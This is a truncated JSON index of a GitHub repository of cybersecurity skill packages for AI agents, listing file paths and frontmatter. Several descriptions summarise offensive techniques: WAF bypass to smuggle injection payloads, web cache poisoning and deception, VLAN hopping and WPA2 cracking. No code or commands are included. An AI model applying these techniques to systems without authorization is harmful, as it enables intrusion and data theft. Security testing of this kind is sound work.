/api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-threat-modeling-with-owasp-threat-dragon%2FSKILL.md -->","frontmatter":{"name":"performing-threat-modeling-with-owasp-threat-dragon","description":"Uses OWASP Threat Dragon (web or desktop) to build data flow diagrams, identify threats with STRIDE, LINDDUN, CIA, DIE, or PLOT4ai methodologies via its auto-generation rule engine, and produce PDF threat model reports. Use during secure design review of an application architecture to build a formal threat model and document mitigations for GRC compliance.","domain":"cybersecurity","subdomain":"devsecops","tags":["threat-modeling","owasp","threat-dragon","stride","linddun","secure-design","dfd","data-flow"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_ai_rmf":["MEASURE-2.7","MAP-5.1","MANAGE-2.4"],"atlas_techniques":["AML.T0070","AML.T0066","AML.T0082"],"nist_csf":["PR.PS-01","GV.SC-07","ID.IM-04","PR.PS-04"],"mitre_attack":["T1195","T1554","T1059.004"]},"isInternal":false,"tokens":1946,"sizeBytes":8544},{"name":"api-reference.md","path":"skills/performing-timeline-reconstruction-with-plaso/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-timeline-reconstruction-with-plaso/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-timeline-reconstruction-with-plaso%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":640,"sizeBytes":2575},{"name":"SKILL.md","path":"skills/performing-timeline-reconstruction-with-plaso/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-timeline-reconstruction-with-plaso/SKILL.md","title":"performing-timeline-reconstruction-with-plaso","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-timeline-reconstruction-with-plaso%2FSKILL.md -->","frontmatter":{"name":"performing-timeline-reconstruction-with-plaso","description":"Builds comprehensive forensic super-timelines using Plaso (log2timeline and psort) to correlate events across file system metadata, event logs, browser history, and registry artifacts into a unified chronological view. Use during complex forensic investigations that need cross-source event correlation, or when standard log analysis is insufficient to establish the sequence of activities for reporting findings.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["forensics","timeline-analysis","plaso","log2timeline","super-timeline","event-correlation"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1005","T1074","T1119","T1070","T1059"]},"isInternal":false,"tokens":3169,"sizeBytes":12075},{"name":"api-reference.md","path":"skills/performing-user-behavior-analytics/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-user-behavior-analytics/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-user-behavior-analytics%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":489,"sizeBytes":2044},{"name":"SKILL.md","path":"skills/performing-user-behavior-analytics/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-user-behavior-analytics/SKILL.md","title":"performing-user-behavior-analytics","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-user-behavior-analytics%2FSKILL.md -->","frontmatter":{"name":"performing-user-behavior-analytics","description":"Performs User and Entity Behavior Analytics (UEBA) to detect anomalous user activities including impossible travel, unusual access patterns, privilege abuse, and insider threats using SIEM-based behavioral baselines and statistical analysis. Use when SOC teams need to identify compromised accounts or insider threats through deviation from established behavioral norms.\n","domain":"cybersecurity","subdomain":"soc-operations","tags":["soc","ueba","user-behavior","insider-threat","anomaly-detection","splunk","baseline"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["DE.CM-01","DE.AE-02","RS.MA-01","DE.AE-06"],"mitre_attack":["T1078","T1685.002","T1685.005","T1566","T0816"]},"isInternal":false,"tokens":2638,"sizeBytes":10409},{"name":"api-reference.md","path":"skills/performing-vlan-hopping-attack/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-vlan-hopping-attack/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-vlan-hopping-attack%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":549,"sizeBytes":2171},{"name":"SKILL.md","path":"skills/performing-vlan-hopping-attack/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-vlan-hopping-attack/SKILL.md","title":"performing-vlan-hopping-attack","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-vlan-hopping-attack%2FSKILL.md -->","frontmatter":{"name":"performing-vlan-hopping-attack","description":"Simulates VLAN hopping attacks using switch spoofing and 802.1Q double tagging techniques in authorized lab environments to test VLAN segmentation effectiveness and switch port security. Use during an authorized penetration test to validate trunk port hardening, confirm DTP is disabled on access ports, and demonstrate Layer 2 segmentation bypass risk to network teams.","domain":"cybersecurity","subdomain":"network-security","tags":["network-security","vlan-hopping","layer2-attack","switch-security","802.1q"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071","T1027"]},"isInternal":false,"tokens":3572,"sizeBytes":12824},{"name":"api-reference.md","path":"skills/performing-vulnerability-scanning-with-nessus/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-vulnerability-scanning-with-nessus/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-vulnerability-scanning-with-nessus%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":688,"sizeBytes":2499},{"name":"SKILL.md","path":"skills/performing-vulnerability-scanning-with-nessus/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-vulnerability-scanning-with-nessus/SKILL.md","title":"performing-vulnerability-scanning-with-nessus","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-vulnerability-scanning-with-nessus%2FSKILL.md -->","frontmatter":{"name":"performing-vulnerability-scanning-with-nessus","description":"Performs authenticated and unauthenticated vulnerability scanning using Tenable Nessus to identify known vulnerabilities, misconfigurations, default credentials, and missing patches across network infrastructure, servers, and applications. The scanner correlates findings with CVE databases and CVSS scores to produce prioritized remediation guidance. Activates for requests involving vulnerability scanning, Nessus assessment, patch compliance checking, or automated vulnerability detection.\n","domain":"cybersecurity","subdomain":"penetration-testing","tags":["vulnerability-scanning","Nessus","CVE","patch-management","Tenable"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078","T1003"]},"isInternal":false,"tokens":2418,"sizeBytes":11300},{"name":"api-reference.md","path":"skills/performing-web-application-firewall-bypass/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-web-application-firewall-bypass/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-firewall-bypass%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":480,"sizeBytes":1788},{"name":"SKILL.md","path":"skills/performing-web-application-firewall-bypass/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-web-application-firewall-bypass/SKILL.md","title":"performing-web-application-firewall-bypass","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-firewall-bypass%2FSKILL.md -->","frontmatter":{"name":"performing-web-application-firewall-bypass","description":"Bypasses Web Application Firewall protections using encoding tricks, HTTP method manipulation, parameter pollution, and payload obfuscation to smuggle SQL injection, XSS, and other exploit payloads past WAF detection rules. Use when a confirmed vulnerability is blocked by a WAF, during penetration tests or red team engagements requiring bypass of perimeter security controls, or when evaluating WAF rule effectiveness and bypass resistance.","domain":"cybersecurity","subdomain":"web-application-security","tags":["waf-bypass","waf-evasion","sql-injection","xss","payload-obfuscation","encoding-bypass","web-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083","T1027"]},"isInternal":false,"tokens":2692,"sizeBytes":9727},{"name":"api-reference.md","path":"skills/performing-web-application-penetration-test/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-web-application-penetration-test/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-penetration-test%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":503,"sizeBytes":2260},{"name":"SKILL.md","path":"skills/performing-web-application-penetration-test/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-web-application-penetration-test/SKILL.md","title":"performing-web-application-penetration-test","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-penetration-test%2FSKILL.md -->","frontmatter":{"name":"performing-web-application-penetration-test","description":"Performs systematic security testing of web applications following the OWASP Web Security Testing Guide (WSTG) methodology to identify vulnerabilities in authentication, authorization, input validation, session management, and business logic. The tester uses Burp Suite as the primary interception proxy alongside manual testing techniques to find flaws that automated scanners miss. Activates for requests involving web app pentest, OWASP testing, application security assessment, or web vulnerability testing.\n","domain":"cybersecurity","subdomain":"penetration-testing","tags":["web-application-pentest","OWASP","Burp-Suite","WSTG","application-security"],"version":"1.0.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078"]},"isInternal":false,"tokens":2921,"sizeBytes":14046},{"name":"template.md","path":"skills/performing-web-application-scanning-with-nikto/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-web-application-scanning-with-nikto/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-scanning-with-nikto%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":320,"sizeBytes":1033},{"name":"api-reference.md","path":"skills/performing-web-application-scanning-with-nikto/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-web-application-scanning-with-nikto/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-scanning-with-nikto%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":483,"sizeBytes":1772},{"name":"standards.md","path":"skills/performing-web-application-scanning-with-nikto/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-web-application-scanning-with-nikto/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-scanning-with-nikto%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":515,"sizeBytes":2166},{"name":"workflows.md","path":"skills/performing-web-application-scanning-with-nikto/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-web-application-scanning-with-nikto/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-scanning-with-nikto%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":427,"sizeBytes":2128},{"name":"SKILL.md","path":"skills/performing-web-application-scanning-with-nikto/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-web-application-scanning-with-nikto/SKILL.md","title":"performing-web-application-scanning-with-nikto","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-scanning-with-nikto%2FSKILL.md -->","frontmatter":{"name":"performing-web-application-scanning-with-nikto","description":"Runs Nikto, an open-source web server and web application scanner, to test over 7,000 potentially dangerous files/programs, check for outdated versions across 1,250+ servers, and identify XSS, SQL injection, misconfigurations, default credentials, and vulnerable CGI scripts. Use when performing web application vulnerability scanning, security assessments, scheduled security testing, or validating web server security controls.","domain":"cybersecurity","subdomain":"vulnerability-management","tags":["vulnerability-management","cve","nikto","web-scanning","owasp","risk"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-02","ID.IM-02","ID.RA-06"],"mitre_attack":["T1190","T1203","T1068"]},"isInternal":false,"tokens":2039,"sizeBytes":8110},{"name":"api-reference.md","path":"skills/performing-web-application-vulnerability-triage/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-web-application-vulnerability-triage/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-vulnerability-triage%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":458,"sizeBytes":1572},{"name":"standards.md","path":"skills/performing-web-application-vulnerability-triage/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-web-application-vulnerability-triage/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-vulnerability-triage%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":344,"sizeBytes":1323},{"name":"workflows.md","path":"skills/performing-web-application-vulnerability-triage/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-web-application-vulnerability-triage/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-vulnerability-triage%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":299,"sizeBytes":1296},{"name":"SKILL.md","path":"skills/performing-web-application-vulnerability-triage/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-web-application-vulnerability-triage/SKILL.md","title":"performing-web-application-vulnerability-triage","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-application-vulnerability-triage%2FSKILL.md -->","frontmatter":{"name":"performing-web-application-vulnerability-triage","description":"Triages web application vulnerability findings from DAST/SAST scanners such as Burp Suite and ZAP, using the OWASP Risk Rating Methodology to confirm true positives, dismiss false positives, and prioritize remediation. Use when reviewing scanner output to reduce alert fatigue and rank vulnerabilities for development teams to fix.","domain":"cybersecurity","subdomain":"vulnerability-management","tags":["web-application","vulnerability-triage","owasp","dast","sast","burp-suite","zap","false-positive","risk-rating"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-02","ID.IM-02","ID.RA-06"],"mitre_attack":["T1190","T1203","T1068"]},"isInternal":false,"tokens":2306,"sizeBytes":8756},{"name":"api-reference.md","path":"skills/performing-web-cache-deception-attack/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-web-cache-deception-attack/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-cache-deception-attack%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":460,"sizeBytes":1774},{"name":"SKILL.md","path":"skills/performing-web-cache-deception-attack/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-web-cache-deception-attack/SKILL.md","title":"performing-web-cache-deception-attack","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-cache-deception-attack%2FSKILL.md -->","frontmatter":{"name":"performing-web-cache-deception-attack","description":"Executes web cache deception attacks by exploiting path normalization discrepancies between CDN/reverse-proxy caching layers (Cloudflare, Akamai, Varnish, Nginx) and origin servers to cache and retrieve sensitive authenticated content. Use when testing applications behind CDNs for cache-key misconfigurations, during bug bounty hunting on aggressively cached sites, or when assessing sensitive data exposure through cache layer misconfiguration.","domain":"cybersecurity","subdomain":"web-application-security","tags":["web-cache-deception","cdn-attack","cache-poisoning","path-normalization","cloudflare","cache-key","static-resource"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083","T1078.004"]},"isInternal":false,"tokens":2186,"sizeBytes":8990},{"name":"api-reference.md","path":"skills/performing-web-cache-poisoning-attack/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-web-cache-poisoning-attack/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-cache-poisoning-attack%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":499,"sizeBytes":2166},{"name":"SKILL.md","path":"skills/performing-web-cache-poisoning-attack/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-web-cache-poisoning-attack/SKILL.md","title":"performing-web-cache-poisoning-attack","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-web-cache-poisoning-attack%2FSKILL.md -->","frontmatter":{"name":"performing-web-cache-poisoning-attack","description":"Exploiting web cache mechanisms to serve malicious content to other users by poisoning cached responses through unkeyed headers and parameters during authorized security tests.","domain":"cybersecurity","subdomain":"web-application-security","tags":["penetration-testing","cache-poisoning","web-security","cdn","burpsuite","owasp"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"],"mitre_attack":["T1190","T1059.007","T1505.003","T1083"]},"isInternal":false,"tokens":3144,"sizeBytes":12543},{"name":"api-reference.md","path":"skills/performing-wifi-password-cracking-with-aircrack/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-wifi-password-cracking-with-aircrack/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-wifi-password-cracking-with-aircrack%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":608,"sizeBytes":2327},{"name":"SKILL.md","path":"skills/performing-wifi-password-cracking-with-aircrack/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-wifi-password-cracking-with-aircrack/SKILL.md","title":"performing-wifi-password-cracking-with-aircrack","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-wifi-password-cracking-with-aircrack%2FSKILL.md -->","frontmatter":{"name":"performing-wifi-password-cracking-with-aircrack","description":"Captures WPA/WPA2 handshakes and performs offline password cracking using aircrack-ng, hashcat, and dictionary attacks during authorized wireless security assessments to evaluate passphrase strength and wireless network security posture.\n","domain":"cybersecurity","subdomain":"network-security","tags":["network-security","wifi","aircrack-ng","wpa2","wireless-security"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["PR.IR-01","DE.CM-01","ID.AM-03","PR.DS-02"],"mitre_attack":["T1046","T1040","T1557","T1071","T1591"]},"isInternal":false,"tokens":2965,"sizeBytes":11123},{"name":"template.md","path":"skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-windows-artifact-analysis-with-eric-zimmerman-tools%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":437,"sizeBytes":1721},{"name":"api-reference.md","path":"skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-windows-artifact-analysis-with-eric-zimmerman-tools%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":523,"sizeBytes":2034},{"name":"standards.md","path":"skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-windows-artifact-analysis-with-eric-zimmerman-tools%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":669,"sizeBytes":2644},{"name":"workflows.md","path":"skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-windows-artifact-analysis-with-eric-zimmerman-tools%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":779,"sizeBytes":2958},{"name":"SKILL.md","path":"skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-windows-artifact-analysis-with-eric-zimmerman-tools/SKILL.md","title":"performing-windows-artifact-analysis-with-eric-zimmerman-tools","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-windows-artifact-analysis-with-eric-zimmerman-tools%2FSKILL.md -->","frontmatter":{"name":"performing-windows-artifact-analysis-with-eric-zimmerman-tools","description":"Performs comprehensive Windows forensic artifact analysis using Eric Zimmerman's open-source EZ Tools suite (KAPE, MFTECmd, PECmd, LECmd, JLECmd, Timeline Explorer) to parse registry hives, prefetch files, event logs, and file system metadata. Use during DFIR investigations that need a timeline of program execution, file access, and persistence built from Windows artifacts.","domain":"cybersecurity","subdomain":"digital-forensics","tags":["eric-zimmerman","ez-tools","kape","mftecmd","pecmd","lecmd","jlecmd","registry-forensics","windows-forensics","timeline-explorer","dfir","artifact-analysis"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["RS.AN-03","DE.AE-02","RS.MA-01"],"mitre_attack":["T1005","T1074","T1119","T1070","T1059"]},"isInternal":false,"tokens":3111,"sizeBytes":12053},{"name":"template.md","path":"skills/performing-wireless-network-penetration-test/assets/template.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-wireless-network-penetration-test/assets/template.md","title":"Assets Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-wireless-network-penetration-test%2Fassets%2Ftemplate.md -->","isInternal":false,"tokens":200,"sizeBytes":781},{"name":"api-reference.md","path":"skills/performing-wireless-network-penetration-test/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-wireless-network-penetration-test/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-wireless-network-penetration-test%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":436,"sizeBytes":1470},{"name":"standards.md","path":"skills/performing-wireless-network-penetration-test/references/standards.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-wireless-network-penetration-test/references/standards.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-wireless-network-penetration-test%2Freferences%2Fstandards.md -->","isInternal":false,"tokens":274,"sizeBytes":1054},{"name":"workflows.md","path":"skills/performing-wireless-network-penetration-test/references/workflows.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-wireless-network-penetration-test/references/workflows.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-wireless-network-penetration-test%2Freferences%2Fworkflows.md -->","isInternal":false,"tokens":222,"sizeBytes":933},{"name":"SKILL.md","path":"skills/performing-wireless-network-penetration-test/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-wireless-network-penetration-test/SKILL.md","title":"performing-wireless-network-penetration-test","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-wireless-network-penetration-test%2FSKILL.md -->","frontmatter":{"name":"performing-wireless-network-penetration-test","description":"Execute a wireless network penetration test to assess WiFi security by capturing handshakes, cracking WPA2/WPA3 keys, detecting rogue access points, and testing wireless segmentation using Aircrack-ng and related tools.","domain":"cybersecurity","subdomain":"penetration-testing","tags":["wireless-pentest","WiFi","Aircrack-ng","WPA2","WPA3","rogue-AP","evil-twin",802.11,"Kismet"],"version":"1.0","author":"mahipal","license":"Apache-2.0","nist_csf":["ID.RA-01","ID.RA-06","GV.OV-02","DE.AE-07"],"mitre_attack":["T1595","T1190","T1059","T1078","T1591"]},"isInternal":false,"tokens":2239,"sizeBytes":7184},{"name":"api-reference.md","path":"skills/performing-wireless-security-assessment-with-kismet/references/api-reference.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-wireless-security-assessment-with-kismet/references/api-reference.md","title":"References Skill","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-wireless-security-assessment-with-kismet%2Freferences%2Fapi-reference.md -->","isInternal":false,"tokens":512,"sizeBytes":2054},{"name":"SKILL.md","path":"skills/performing-wireless-security-assessment-with-kismet/SKILL.md","rawUrl":"https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/performing-wireless-security-assessment-with-kismet/SKILL.md","title":"performing-wireless-security-assessment-with-kismet","category":"anthropic-skill","format":"markdown","content":"<!-- Skill available on-demand via /api/skills/mukul975/Anthropic-Cybersecurity-Skills?path=skills%2Fperforming-wireless-security-assessment-with-kismet%2FSKILL.md -->","frontmatter":{"name":"performing-wireless-security-assessment-with-kismet","description":"Conduct wireless network security assessments using Kismet to detect rogue access points, hidden SSIDs, weak encryption, and unauthorized clients through passive RF 